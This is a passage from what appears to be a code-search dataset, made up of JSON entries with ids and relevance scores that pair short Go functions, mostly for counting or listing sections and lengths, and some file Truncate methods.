len(ini.data))\n\ti := 0\n\tfor key := range ini.data {\n\t\tsections[i] = key\n\t\ti++\n\t}\n\treturn sections\n}", "title": "" }, { "docid": "d11e4af178383bb5fd8a9bd67f4fabd2", "score": "0.5283356", "text": "func (conf *Config) GetSections() []*Section {\n\treturn conf.Sections\n}", "title": "" }, { "docid": "11970e6f5ec8c6fb4336b5caceae2959", "score": "0.5245131", "text": "func (fs *fileSection) Size() (sectionSize int64, err error) {\n\t// get the size of the file\n\tfi, err := fs.f.Stat()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfileSize := fi.Size()\n\n\t// get the section size\n\tsectionSize = fileSize - fs.start\n\n\t// section size cannot be smaller than 0\n\tif sectionSize < 0 {\n\t\tsectionSize = 0\n\t}\n\n\t// section size cannot be bigger than max end - start\n\tif sectionSize > fs.end-fs.start && fs.end != remainingFile {\n\t\tsectionSize = fs.end - fs.start\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "eccc539ceed3c7319769ed76a3219319", "score": "0.5212639", "text": "func (c *Config) GetSections() (sections []string) {\n\tsections = []string{}\n\tfor section := range *c {\n\t\tsections = append(sections, section)\n\t}\n\treturn sections\n}", "title": "" }, { "docid": "8fe61e6e4a877f6d2be7bdf2a805f1df", "score": "0.520746", "text": "func (s *DiffSection) NumLines() int {\n\treturn len(s.Lines)\n}", "title": "" }, { "docid": "7a1068686e1ce1e7d73198617b5f59b6", "score": "0.5159544", "text": "func GetAllSections(token string, projectID int64) ([]Section, error) {\n\tsections := []Section{}\n\tdata := map[string]string{}\n\tif projectID != 0 {\n\t\tdata[\"project_id\"] = fmt.Sprintf(\"%d\", projectID)\n\t}\n\tresp, err := makeCall(token, EndpointNameGetAllSections, map[string]string{}, data)\n\tif err != nil {\n\t\treturn sections, err\n\t}\n\terr = json.Unmarshal(resp.Body, &sections)\n\treturn sections, err\n}", "title": "" }, { "docid": "4b0254b67b911c2389ec5c8c5f24af6e", "score": "0.515863", "text": "func SectionLength(psi []byte) uint16 {\n\toffset := PointerField(psi)\n\treturn uint16(psi[2+offset]&3)<<8 | uint16(psi[3+offset])\n}", "title": "" }, { "docid": "777620198e716bdde279da8e4c0a3140", "score": "0.5054026", "text": "func (v *Region) NumRectangles() int {\n\n\treturn int(C.cairo_region_num_rectangles(v.native()))\n}", "title": "" }, { "docid": "c2a3d5455b61daae364adfdc611efea2", "score": "0.5009793", "text": "func (b *Block) GetSectorCount() int64 {\n\treturn b.LogicalRange.Length() / vhdcore.VhdSectorLength\n}", "title": "" }, { "docid": "5fb4967030be59e9764845913460425f", "score": "0.49905598", "text": "func (s *Section) LineCount() int {\n\treturn len(s.Lines)\n}", "title": "" }, { "docid": "93f658bef0cdf627491f9fa75a071cff", "score": "0.49163285", "text": "func (s *RulesService) ListSections() (*models.Resource, error) {\n\tvar model = &models.Resource{}\n\n\turl := utils.URL(s.URL, \"/rule-sections\", \"\")\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer res.Body.Close()\n\n\tbody, _ := ioutil.ReadAll(res.Body)\n\tif err := model.JSON(body); err != nil {\n\t\treturn nil, err\n\t}\n\treturn model, nil\n}", "title": "" }, { "docid": "e178b2c4329d9b0400bf2fe6d1c02f69", "score": "0.4832458", "text": "func (l *Queue) TotalSegments() int {\n\tl.mu.RLock()\n\tdefer l.mu.RUnlock()\n\tn := len(l.segments)\n\n\t// Check last segment's size and if empty, ignore it.\n\tif n > 0 && l.segments[n-1].empty() {\n\t\tn--\n\t}\n\treturn n\n}", "title": "" }, { "docid": "fa94e169acc7b5040d9e5c97983cefe6", "score": "0.47302598", "text": "func TestSectionsEndpoint(t *testing.T) {\n\t// Initialize the database connection\n\tmodels.InitDB()\n\n\t// Make the request\n\trequest, _ := http.NewRequest(\"GET\", \"/sections\", nil)\n\tresponse := httptest.NewRecorder()\n\tRouterSection().ServeHTTP(response, request)\n\n\tvar resp map[string]interface{}\n\tjson.NewDecoder(response.Body).Decode(&resp)\n\n\t// Check if what we wanted is what we got\n\tassert.Equal(t, float64(http.StatusOK), resp[\"status_code\"], \"OK response is expected\")\n}", "title": "" }, { "docid": "a9534c7d3da4a72ebca20212cb47fdda", "score": "0.47137126", "text": "func (ms *Machines) Count() int {\n\treturn len(ms.machines)\n}", "title": "" }, { "docid": "9e10f9e35988a3ed74b3a8ea180f203f", "score": "0.46738112", "text": "func (s *SignedSoftwareCertificateArray) Len() int {\n\tl := 4\n\tfor _, ss := range s.Certificates {\n\t\tl += ss.Len()\n\t}\n\n\treturn l\n}", "title": "" }, { "docid": "3d5fe2bcac756423a0958e2c05e34e44", "score": "0.46565711", "text": "func (cPtr *ChainIndexer) loadValidSections() {\n\tdata, _ := cPtr.indexDbPtr.Get([]byte(\"count\"))\n\tif len(data) == 8 {\n\t\tcPtr.storedSections = binary.BigEndian.Uint64(data[:])\n\t}\n}", "title": "" }, { "docid": "5ecca6dc06410831d617629e81219550", "score": "0.46358174", "text": "func (r *KeyRanges) Len() int {\n\tvar l int\n\tif r.first != nil {\n\t\tl++\n\t}\n\tl += len(r.mid)\n\tif r.last != nil {\n\t\tl++\n\t}\n\treturn l\n}", "title": "" }, { "docid": "e8dc1c94c75bc5992ce18a0a1abf2910", "score": "0.46326408", "text": "func (vc *VConfig) GetSections(name string) ([]*Section, error) {\n\tif name == \"\" {\n\t\treturn vc.GetSections(\"__globalvars__\")\n\t}\n\tsections := make([]*Section, 0)\n\tfor _, sec := range *vc {\n\t\tif sec.name == name {\n\t\t\tsections = append(sections, sec)\n\t\t}\n\t}\n\tif len(sections) == 0 {\n\t\treturn nil, errors.New(fmt.Sprintf(\"Section '%v' does not exist in this VConfig\", name))\n\t}\n\treturn sections, nil\n}", "title": "" }, { "docid": "ff00d6dc12e068802cfa3db26b05dd3e", "score": "0.46166247", "text": "func (o ClusterOutput) NumShards() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v *Cluster) pulumi.IntPtrOutput { return v.NumShards }).(pulumi.IntPtrOutput)\n}", "title": "" }, { "docid": "6d25d0f42bcd55a5c6e1fdba4b6fdf67", "score": "0.45968896", "text": "func (g *Guest) TotalGuests() int { return 1 + g.AccompanyingGuests }", "title": "" }, { "docid": "63ec2bffe7000d72119ded8659afd671", "score": "0.4593786", "text": "func (conf Config) Count() int {\n\treturn int(conf.Nmachines) * int(conf.NprocessesPerMachine) * int(conf.NitemsPerProcess)\n}", "title": "" }, { "docid": "b3f170d62b1f59cbaf60c2b2f2682b60", "score": "0.45835513", "text": "func (m *Memory) Len() int {\n\tif m.events == nil {\n\t\treturn 0\n\t}\n\treturn len(m.events.States)\n}", "title": "" }, { "docid": "784c988c0d7620e48ee930c1df82ff81", "score": "0.45641088", "text": "func (e *Entry) CountMembers() int {\n\tcountI := 1\n\tfor _, v := range e.Files {\n\t\tcountI += v.CountMembers()\n\t}\n\treturn countI\n}", "title": "" }, { "docid": "44d20378e36f57b35ff5878a9f9dcc7c", "score": "0.4559603", "text": "func (m CMap) Count() int {\n\tcount := 0\n\tfor i := 0; i < shardCount; i++ {\n\t\tshard := m[i]\n\t\tshard.RLock()\n\t\tcount += len(shard.items)\n\t\tshard.RUnlock()\n\t}\n\treturn count\n}", "title": "" }, { "docid": "4408991e601e31a6b20dac579f794ed4", "score": "0.45430657", "text": "func (vss *VirtualServers) Count() int {\n\tvar ct int = 0\n\tfor _, cfgs := range vss.m {\n\t\tct += len(cfgs)\n\t}\n\treturn ct\n}", "title": "" }, { "docid": "876405d8a6b3420da039b41dd64f06ca", "score": "0.45382425", "text": "func (s *SectionReader) Size() int64 {\n return s.limit - s.base\n}", "title": "" }, { "docid": "316ec901b9ef7b226404d148a342a683", "score": "0.45362824", "text": "func (s *SqlDao) GetSectionsScore(limit int) []SectionScoreEntry {\n\tvar sections []SectionScoreEntry\n\ts.RLock()\n\ts.Raw(\"SELECT COUNT(logs.id) as hits, logs.section FROM logs GROUP BY logs.section ORDER BY COUNT(logs.id) DESC LIMIT ?\", limit).Scan(&sections)\n\ts.RUnlock()\n\n\tfor i, _ := range sections {\n\t\tsections[i].Success = s.GetSuccessesBySection(sections[i].Section)\n\t\tsections[i].Fail = s.GetFailsBySection(sections[i].Section)\n\t}\n\treturn sections\n}", "title": "" }, { "docid": "81d6118a77bf1bc1de1fecebc28278ca", "score": "0.45360002", "text": "func Sections(input []byte) (map[string][]byte, error) {\n\n\t// if you look at the KEP template\n\t//\thttps://raw.githubusercontent.com/kubernetes/community/master/keps/0000-kep-template.md\n\t// you'll notice that all the headings we're likely to want to extract are at the second\n\t// heading level\n\ttopLevelSection := regexp.MustCompile(levelTwoMarkdownHeading)\n\theaders := topLevelSection.FindAllIndex(input, -1)\n\n\tsections := map[string][]byte{}\n\n\tfor i, headingLoc := range headers {\n\t\theadingStart := headingLoc[0]\n\t\theadingEnd := headingLoc[1]\n\n\t\theadingName := string(input[headingStart:headingEnd])\n\t\theadingName = strings.Replace(headingName, \"[optional]\", \"\", -1)\n\t\theadingName = strings.TrimSpace(headingName)\n\n\t\tvar content []byte\n\t\tswitch i {\n\t\tcase len(headers) - 1:\n\t\t\tcontent = input[headingEnd:]\n\t\tdefault:\n\t\t\tnextHeadingLoc := headers[i+1]\n\t\t\tnextHeadingStart := nextHeadingLoc[0]\n\t\t\tcontent = input[headingEnd:nextHeadingStart]\n\t\t}\n\n\t\tsections[headingName] = bytes.TrimSpace(content)\n\t}\n\n\treturn sections, nil\n}", "title": "" }, { "docid": "52acb123a0342c9c8389b6d83568f600", "score": "0.45325223", "text": "func TestDeleteSections(t *testing.T) {\n\ttestID := \"applet/look-at-me-i-am-special\"\n\tTestSchema.DeleteSections(testID) // Delete this section\n\n\tif TestSchema.HasSection(testID) { // Still have it\n\t\tt.Errorf(\"Failed to delete section: %s\", testID)\n\t}\n}", "title": "" }, { "docid": "956513388e22c7aef2c138510f17d97f", "score": "0.45322675", "text": "func (m *Module) NumInstruments() int { return int(m.module.numins) }", "title": "" }, { "docid": "a2ee7ed8157e7cb435ad06e137c2e925", "score": "0.45210174", "text": "func (c *Config) TotalShardCount(namespace string) uint64 {\n\t// HACK(hinoka): This namespace requires a lot more shards than your average\n\t// namespace. crbug.com/920852\n\tif namespace == \"luci.chromium\" {\n\t\treturn 64\n\t}\n\treturn c.NumShards\n}", "title": "" }, { "docid": "77e45b45130d9e14413d2a2e84d4ada8", "score": "0.45133713", "text": "func (m *Map) Len() int {\n\tm.initDo()\n\tvar len int\n\tfor i := 0; i < m.shards; i++ {\n\t\tm.mus[i].Lock()\n\t\tlen += m.maps[i].Len()\n\t\tm.mus[i].Unlock()\n\t}\n\treturn len\n}", "title": "" }, { "docid": "5d42a4952dbec46fd2fa5205b5280d35", "score": "0.4503418", "text": "func (config *Configuration) GetSections(name string) []*Section {\n\tsections := []*Section{}\n\tfor _, v := range *config {\n\t\tif v.Name == name {\n\t\t\tsections = append(sections, v)\n\t\t}\n\t}\n\treturn sections\n}", "title": "" }, { "docid": "6f7a3283bc9a62becfcab8c49934f208", "score": "0.44977087", "text": "func (d *Document) GetNumberOfPages() (uint32, error) {\n\tif d.NumberOfPagesUnknown || d.NumberOfPages == 0 {\n\t\tif len(d.Pages) == 0 {\n\t\t\tif err := d.mapData(); err != nil {\n\t\t\t\treturn 0, errors.Wrap(err, \"Document.GetNumberOfPages\", \"\")\n\t\t\t}\n\t\t}\n\t\treturn uint32(len(d.Pages)), nil\n\t}\n\treturn d.NumberOfPages, nil\n}", "title": "" }, { "docid": "3ad4ceb5663d0444d434766785526de2", "score": "0.44916913", "text": "func (m *OnenoteRequestBuilder) Sections()(*i54a3bfcdd648d6ee47e87c311695b29c4737b8921bb8f2a506c0864844df5dba.SectionsRequestBuilder) {\n return i54a3bfcdd648d6ee47e87c311695b29c4737b8921bb8f2a506c0864844df5dba.NewSectionsRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "title": "" }, { "docid": "2f8090be25efe3824f8f18fbda2f61e4", "score": "0.44913045", "text": "func (c *UnitCluster) Count() int {\n\treturn len(c.units)\n}", "title": "" }, { "docid": "b29e2a788ed9e1beb897b3f861063962", "score": "0.44793636", "text": "func getIndeterminateStructureSections(i *Indeterminate, sectionNames []string) sections {\n\ti.AddSection(sectionNames)\n\treturn i.Structure\n}", "title": "" }, { "docid": "65cb346b41f34f603e7a59545efb50b5", "score": "0.44726735", "text": "func (ms *MultiSorter) Len() int {\n\treturn len(ms.albums)\n}", "title": "" }, { "docid": "b61df144644f36618d6fc7155c0fd8da", "score": "0.44622424", "text": "func (s *States) Count() int {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\treturn len(s.states)\n}", "title": "" }, { "docid": "ba709b7faa67083062d1d39e129ec0ef", "score": "0.44596148", "text": "func TestHasSection(t *testing.T) {\n\tif !TestSchema.HasSection(TestSectionID) { // Failed to get a valid section\n\t\tt.Errorf(\"Failed to get valid section by key: %s\", TestSectionID)\n\t}\n}", "title": "" }, { "docid": "d5a6e996841a2a0688e672af697bf0f9", "score": "0.44496316", "text": "func (s *SummaryReport) servicesCount() int {\n\tcount := 0\n\tfor _, report := range s.OrgReports {\n\t\tcount += report.servicesCount()\n\t}\n\treturn count\n}", "title": "" }, { "docid": "83273761714e36d55bfd4704f6678434", "score": "0.44454974", "text": "func (ms *MultiSorter) Len() int {\n\treturn len(ms.nodes)\n}", "title": "" }, { "docid": "9a0c7e46a1d4fa807249a8c8cb8ca71b", "score": "0.4445419", "text": "func (s *Store) Count() (cnt int) {\n\tfor i := range s.chunks[:] {\n\t\tcnt += s.chunks[i].count()\n\t}\n\treturn\n}", "title": "" }, { "docid": "61b3d0c2ef937e4d5eca7c7e20c0a849", "score": "0.44412866", "text": "func ListSections(COMMENT string, SEPARATOR string) []string {\n\tvar sections []string\n\tconf, err := config.Read(AWSKEYCONFIG, COMMENT, SEPARATOR, false, true)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tif DEBUG {\n\t\t\tpanic(\"Stack trace:\")\n\t\t}\n\t}\n\tsections = conf.Sections()\n\treturn sections\n}", "title": "" }, { "docid": "1b90faa44998987227029738f4b92002", "score": "0.44411534", "text": "func (fs *FS) NumDirectories() int {\n\treturn len(fs.dirtbl)\n}", "title": "" }, { "docid": "d4c13e32af52986a3d49cf8b3ba6ca18", "score": "0.44372308", "text": "func (d *Data) Total() int {\n\treturn len(d.cellsByIndex)\n}", "title": "" }, { "docid": "4c5aee57d1d6515c4379407d72e1308a", "score": "0.44222873", "text": "func (mgr *ClusterManagerClient) numADs(ctx context.Context, compartmentID string) int {\n\n\treq := identity.ListAvailabilityDomainsRequest{}\n\treq.CompartmentId = &compartmentID\n\tads, err := mgr.identityClient.ListAvailabilityDomains(ctx, req)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn len(ads.Items)\n}", "title": "" }, { "docid": "a64bf925b316808c47f791f3822750d9", "score": "0.44216347", "text": "func (csmap *ConcurrentSafeMap) Count() int {\n\tcount := 0\n\tfor i := 0; i < csmap.shardCount; i++ {\n\t\tshard := csmap.MapParts[i]\n\t\tshard.RLock()\n\t\tcount += len(shard.items)\n\t\tshard.RUnlock()\n\t}\n\treturn count\n}", "title": "" }, { "docid": "2fa19b559617124f0df621bda9fcc68b", "score": "0.43915755", "text": "func (gs *Server) RoutinesCount() int {\n\treturn int(atomic.LoadInt32(&gs.routinesCount))\n}", "title": "" }, { "docid": "8a7f82a6d5519bae99d117a5ac4b7baf", "score": "0.43906164", "text": "func (p Pages) Len() int {\n\treturn len(p)\n}", "title": "" }, { "docid": "3f8c9c8dd69c422c36af32637e81473c", "score": "0.43893173", "text": "func sectioned(d *present.Doc) bool {\n\treturn len(d.Sections) > 1\n}", "title": "" }, { "docid": "b63d39371cdaec46bf70538fb1da62c9", "score": "0.43845183", "text": "func (f *DiffFile) NumAdditions() int {\n\treturn f.numAdditions\n}", "title": "" }, { "docid": "3fef6f26a6726c1aa9dca7c5c1816db5", "score": "0.43787917", "text": "func totalSize() (size uint64, err error) {\n\tvar ndctx ndctl.Context\n\tndctx, err = ndctl.NewContext()\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer ndctx.Free()\n\n\tfor _, bus := range ndctx.GetBuses() {\n\t\tfor _, region := range bus.AllRegions() {\n\t\t\tsize += region.Size()\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "f5ac86f4dd2aba3ba8b57850c66d9e0b", "score": "0.43759212", "text": "func (s *scheduler) Len() int {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tcount := 0\n\tfor _, bucket := range s.buckets {\n\t\tcount += len(bucket)\n\t}\n\treturn count\n}", "title": "" }, { "docid": "da61dba3f373928c8128f2aa941ed70f", "score": "0.43684873", "text": "func (o LookupClusterResultOutput) NumShards() pulumi.IntOutput {\n\treturn o.ApplyT(func(v LookupClusterResult) int { return v.NumShards }).(pulumi.IntOutput)\n}", "title": "" }, { "docid": "2ed8ece3eb46a0f0ffbc5e2f195f96cd", "score": "0.4360601", "text": "func (s DistinctNetSet) Len() int {\n\tn := uint(0)\n\tfor _, i := range s.members {\n\t\tn += i\n\t}\n\treturn int(n)\n}", "title": "" }, { "docid": "3d251fe0e25fca12c0dbd446162556d7", "score": "0.43605703", "text": "func (tu TranslationUnit) NumDiagnostics() uint32 {\n\treturn uint32(C.clang_getNumDiagnostics(tu.c))\n}", "title": "" }, { "docid": "2f13d268dd54959f89bc25c5b3b93af4", "score": "0.43595895", "text": "func (heap *heap) Count() int64 {\n\treturn heap.headerPage.GetRecordCount()\n}", "title": "" }, { "docid": "47c9c127340837c560cfca4b1c853b09", "score": "0.4359405", "text": "func (s *syncDigestSet) len() int {\n\ts.Lock()\n\tdefer s.Unlock()\n\n\treturn len(s.members)\n}", "title": "" }, { "docid": "72816a2882a916d5828daddbcf08f1a4", "score": "0.43553048", "text": "func (s *SignedSoftwareCertificate) Len() int {\n\tvar l = 0\n\tif s.CertificateData != nil {\n\t\tl += s.CertificateData.Len()\n\t}\n\tif s.Signature != nil {\n\t\tl += s.Signature.Len()\n\t}\n\n\treturn l\n}", "title": "" }, { "docid": "cadf91d36354d2539288ad3646165e80", "score": "0.43530697", "text": "func (h *Headers) Len() int {\n\treturn len(h.items)\n}", "title": "" }, { "docid": "e68f5dd08357cdcd96b61571317afa27", "score": "0.4342382", "text": "func (o *NiatelemetryMsoSiteDetailsAllOf) GetNumberOfSpinesPerSiteInMsoOk() (*int64, bool) {\n\tif o == nil || o.NumberOfSpinesPerSiteInMso == nil {\n\t\treturn nil, false\n\t}\n\treturn o.NumberOfSpinesPerSiteInMso, true\n}", "title": "" }, { "docid": "ba630827700921c0bcf7f286de3f2602", "score": "0.43395224", "text": "func blockGroupsCount(sb disklayout.SuperBlock) uint64 {\n\tblocksCount := sb.BlocksCount()\n\tblocksPerGroup := uint64(sb.BlocksPerGroup())\n\n\t// Round up the result. float64 can compromise precision so do it manually.\n\treturn (blocksCount + blocksPerGroup - 1) / blocksPerGroup\n}", "title": "" }, { "docid": "89233f2ab792fc5bab799ed1eeb047aa", "score": "0.43390954", "text": "func AllSections() []Section {\n\treq := graphql.NewRequest(`\n query {\n allSections {\n id\n name\n parent_id\n }\n }\n`)\n\n\tvar res AllSectionsResponse\n\tif err := RunGraphqlQuery(req, &res); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn res.AllSections\n}", "title": "" }, { "docid": "f8b5954ea04befd6ab1ec09bbe65ffde", "score": "0.43351114", "text": "func (s MultiSetUintptr) Len() int {\n\ttotal := 0\n\tfor _, count := range s {\n\t\ttotal += count\n\t}\n\treturn total\n}", "title": "" }, { "docid": "9ab5955807ae98e15f940289eddd519a", "score": "0.4330453", "text": "func (s MultiSetUint32) Len() int {\n\ttotal := 0\n\tfor _, count := range s {\n\t\ttotal += count\n\t}\n\treturn total\n}", "title": "" }, { "docid": "612243ba69e6d17a650260ef6b196a81", "score": "0.43257084", "text": "func (s MultiSetInt32) Len() int {\n\ttotal := 0\n\tfor _, count := range s {\n\t\ttotal += count\n\t}\n\treturn total\n}", "title": "" }, { "docid": "33de7f438ef1083e2a9a37fbbaa58403", "score": "0.43238515", "text": "func (fi NumericalFileInfoSlice) Len() int {\n\treturn len(fi)\n}", "title": "" }, { "docid": "4040f344c8f9783f171ef6e4e591f14e", "score": "0.4317326", "text": "func (cm ConcurrentMap) Count() int {\n\tcount := 0\n\tfor i := 0; i < shardCount; i++ {\n\t\tshard := cm[i]\n\t\tshard.RLock()\n\t\tcount += len(shard.items)\n\t\tshard.RUnlock()\n\t}\n\treturn count\n}", "title": "" }, { "docid": "d44e1b8d5ae0fe6cd537c8d2360110ef", "score": "0.4317006", "text": "func (o *MicrosoftGraphOnenoteSection) HasPages() bool {\n\tif o != nil && o.Pages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "d980c4e8f31525dee5603222a218fe6f", "score": "0.43166938", "text": "func (b *Bayes) Len() int {\n\tb.locker.RLock()\n\tl := len(b.probes)\n\tb.locker.RUnlock()\n\treturn l\n}", "title": "" }, { "docid": "04d71d7c1dac09e7d71a362e554115c9", "score": "0.43133923", "text": "func (s *Scheduler) TotalBlocksCount() int {\n\ts.evictionMutex.RLock()\n\tdefer s.evictionMutex.RUnlock()\n\ts.bufferMutex.RLock()\n\tdefer s.bufferMutex.RUnlock()\n\n\treturn s.buffer.TotalBlocksCount()\n}", "title": "" }, { "docid": "472e314021c2c59ba1b85b4610cf3369", "score": "0.43117803", "text": "func (p Paginator) NumPages() int {\n\treturn int(math.Ceil(float64(p.ItemList.TotalItems()) / float64(p.PerPage)))\n}", "title": "" }, { "docid": "289f43f1e20876638a2c5b8f120ca816", "score": "0.43093863", "text": "func (ms *multiSorter) Len() int {\n\treturn len(ms.usage)\n}", "title": "" }, { "docid": "d69b8401a4f7b92c542bbc5e340fa4f8", "score": "0.43027535", "text": "func (h *segmentHeap) Len() int {\n\treturn len(*h)\n}", "title": "" }, { "docid": "87ff70bb8e274ef0cfee39c502d4e67a", "score": "0.4298434", "text": "func (c *Client) GetBlockHeaderCount() (uint32, error) {\n\tvar resp uint32\n\tif err := c.performRequest(\"getblockheadercount\", request.NewRawParams(), &resp); err != nil {\n\t\treturn resp, err\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "a6e27b7d710436a043d92ae3fcb64537", "score": "0.42964333", "text": "func (s byPageKind) Len() int { return len(s) }", "title": "" }, { "docid": "a6e27b7d710436a043d92ae3fcb64537", "score": "0.42964333", "text": "func (s byPageKind) Len() int { return len(s) }", "title": "" }, { "docid": "77337e1b4158573693d8d5e8fc244797", "score": "0.4291374", "text": "func (f *file) numChunks() uint64 {\n\t// empty files still need at least one chunk\n\tif f.size == 0 {\n\t\treturn 1\n\t}\n\tn := f.size / f.staticChunkSize()\n\t// last chunk will be padded, unless chunkSize divides file evenly.\n\tif f.size%f.staticChunkSize() != 0 {\n\t\tn++\n\t}\n\treturn n\n}", "title": "" }, { "docid": "77337e1b4158573693d8d5e8fc244797", "score": "0.4291374", "text": "func (f *file) numChunks() uint64 {\n\t// empty files still need at least one chunk\n\tif f.size == 0 {\n\t\treturn 1\n\t}\n\tn := f.size / f.staticChunkSize()\n\t// last chunk will be padded, unless chunkSize divides file evenly.\n\tif f.size%f.staticChunkSize() != 0 {\n\t\tn++\n\t}\n\treturn n\n}", "title": "" }, { "docid": "ac910f0fa40cef3d5bf6c9b6751cee27", "score": "0.42855322", "text": "func (c *Configuration) Components() int {\n\tnumComponents := 0\n\tif c.DB != nil {\n\t\tnumComponents++\n\t}\n\tif c.Coordinator != nil {\n\t\tnumComponents++\n\t}\n\n\treturn numComponents\n}", "title": "" }, { "docid": "165a1fa308adf897332b69cea09fbb72", "score": "0.42847046", "text": "func PrintSections(w io.Writer, fss NamedFlagSets, cols int) {\n\tfor _, name := range fss.Order {\n\t\tfs := fss.FlagSets[name]\n\t\tif !fs.HasFlags() {\n\t\t\tcontinue\n\t\t}\n\n\t\twideFS := pflag.NewFlagSet(\"\", pflag.ExitOnError)\n\t\twideFS.AddFlagSet(fs)\n\n\t\tvar zzz string\n\t\tif cols > 24 {\n\t\t\tzzz = strings.Repeat(\"z\", cols-24)\n\t\t\twideFS.Int(zzz, 0, strings.Repeat(\"z\", cols-24))\n\t\t}\n\n\t\tvar buf bytes.Buffer\n\t\tfmt.Fprintf(&buf, \"\\n%s flags:\\n\\n%s\", strings.ToUpper(name[:1])+name[1:], wideFS.FlagUsagesWrapped(cols))\n\n\t\tif cols > 24 {\n\t\t\ti := strings.Index(buf.String(), zzz)\n\t\t\tlines := strings.Split(buf.String()[:i], \"\\n\")\n\t\t\tfmt.Fprint(w, strings.Join(lines[:len(lines)-1], \"\\n\"))\n\t\t\tfmt.Fprintln(w)\n\t\t} else {\n\t\t\tfmt.Fprint(w, buf.String())\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a83c128b10f8265061c21d3b7e330372", "score": "0.427839", "text": "func (l *LanguagePackInfo) GetTotalStringCount() (value int32) {\n\tif l == nil {\n\t\treturn\n\t}\n\treturn l.TotalStringCount\n}", "title": "" }, { "docid": "78c4e6db4a2e317ef5ee992a32eb5c07", "score": "0.4271718", "text": "func (clus *Cluster) Size() int {\n\tclus.mmu.RLock()\n\tdefer clus.mmu.RUnlock()\n\n\treturn len(clus.Members)\n}", "title": "" }, { "docid": "cf3e1918e90cc06484e4461d5e101e57", "score": "0.42697698", "text": "func (ordered Ordered) Len() int {\n\tn := 0\n\tfor _, loc := range ordered {\n\t\tn += loc.Len()\n\t}\n\treturn n\n}", "title": "" }, { "docid": "f171af50631a4c2412ab5a05dcf34c33", "score": "0.426724", "text": "func (s MultiSetUint16) Len() int {\n\ttotal := 0\n\tfor _, count := range s {\n\t\ttotal += count\n\t}\n\treturn total\n}", "title": "" }, { "docid": "5d56a4e50b43b8fb056db0db8681fc85", "score": "0.42664024", "text": "func (s MultiSetUint) Len() int {\n\ttotal := 0\n\tfor _, count := range s {\n\t\ttotal += count\n\t}\n\treturn total\n}", "title": "" }, { "docid": "0fa947ea6e8f2748403bc283b7308acd", "score": "0.42612484", "text": "func (sh *Shingles) Len() int {\n\tsh.mtx.Lock()\n\tdefer sh.mtx.Unlock()\n\treturn len(sh.hashes)\n}", "title": "" }, { "docid": "386f280fb30862d0ffe21409c15e8e62", "score": "0.42607245", "text": "func (h Header) Len() int {\n\treturn len(h)\n}", "title": "" }, { "docid": "6575406d0195f727795028537246bf59", "score": "0.42595848", "text": "func (f *File) TableCount() int {\n\treturn len(f.tables)\n}", "title": "" }, { "docid": "c2339bc578385b791959ae95a5ff9802", "score": "0.42595336", "text": "func (p Parts) Len() int {\n\tif p == nil {\n\t\treturn 0\n\t} else {\n\t\treturn len(p)\n\t}\n}", "title": "" }, { "docid": "1c915f0b74945bf6781c33cdabbc990e", "score": "0.42569992", "text": "func (l *SeatLayout) Count() int {\n\tcount := 0\n\tfor _, ypos := range l.Seats {\n\t\tfor _, xpos := range ypos {\n\t\t\tif xpos.State == occupied {\n\t\t\t\tcount++\n\t\t\t}\n\t\t}\n\t}\n\treturn count\n}", "title": "" }, { "docid": "615dad89f1b500510bc87669ccbda16d", "score": "0.4255715", "text": "func (e *Expectations) NumTests() int {\n\tif e == nil {\n\t\treturn 0\n\t}\n\te.mutex.RLock()\n\tdefer e.mutex.RUnlock()\n\treturn len(e.labels)\n}", "title": "" }, { "docid": "d737eac59ed9e65a362af0b14a3775d7", "score": "0.4250004", "text": "func (s MultiSetInt) Len() int {\n\ttotal := 0\n\tfor _, count := range s {\n\t\ttotal += count\n\t}\n\treturn total\n}", "title": "" }, { "docid": "a9bd0f00f74cdb029254e202e47fe689", "score": "0.42448446", "text": "func (svcs Services) Len() int {\n\treturn len(svcs)\n}", "title": "" } ]
cbdf61dbca249cba665b1f4cabfdccc2
Truncate changes the size of the file. It does not change the I/O offset.
[ { "docid": "609f064ce829af7a9385a19f6fab1231", "score": "0.76310456", "text": "func (f *File) Truncate(size int64) Error {\n\tif e := syscall.Ftruncate(f.fd, size); e != 0 {\n\t\treturn &PathError{\"truncate\", f.name, Errno(e)}\n\t}\n\treturn nil;\n}", "title": "" } ]
[ { "docid": "fa67dbc6c04aec007c29cbffa351a7ff", "score": "0.8099505", "text": "func (f *File) Truncate(_ int64) error {\n\treturn nil\n}", "title": "" }, { "docid": "d8f8d9d01b9b4f027900d094e4614622", "score": "0.802658", "text": "func (f *File) Truncate(size int64) error {\n\treturn f.c.Truncate(f.path, size)\n}", "title": "" }, { "docid": "a979d5d77020299cffb1f5313ca31f04", "score": "0.78856415", "text": "func (f *file) Truncate(ctx context.Context, size int64) error {\n\treturn f.do(ctx, func(ctx context.Context, sid string) (string, error) {\n\t\treturn f.fs.c.sendSession(ctx, sid, nil, &truncate.Request{Handle: f.handle, Size: size})\n\t})\n}", "title": "" }, { "docid": "7fc6957dccd1130bf47f668492d69336", "score": "0.7783593", "text": "func (fh *RWFileHandle) Truncate(size int64) (err error) {\n\tfh.mu.Lock()\n\tdefer fh.mu.Unlock()\n\tif fh.closed {\n\t\treturn ECLOSED\n\t}\n\tif err = fh.openPending(); err != nil {\n\t\treturn err\n\t}\n\treturn fh._truncate(size)\n}", "title": "" }, { "docid": "eaae800697f0f20163333e9776d7f1ed", "score": "0.75452787", "text": "func (f *blobFile) Truncate(size uint64) fuse.Status {\n\treturn fuse.ENOSYS\n}", "title": "" }, { "docid": "a8d4c46cbd38a8d2a393314c7d83a0bd", "score": "0.75248086", "text": "func (ad *Device) Truncate(ctx context.Context, inode *fs.Inode, size int64) error {\n\treturn nil\n}", "title": "" }, { "docid": "b3fbca464b419b0388d6a60420de5ff5", "score": "0.74407095", "text": "func (c 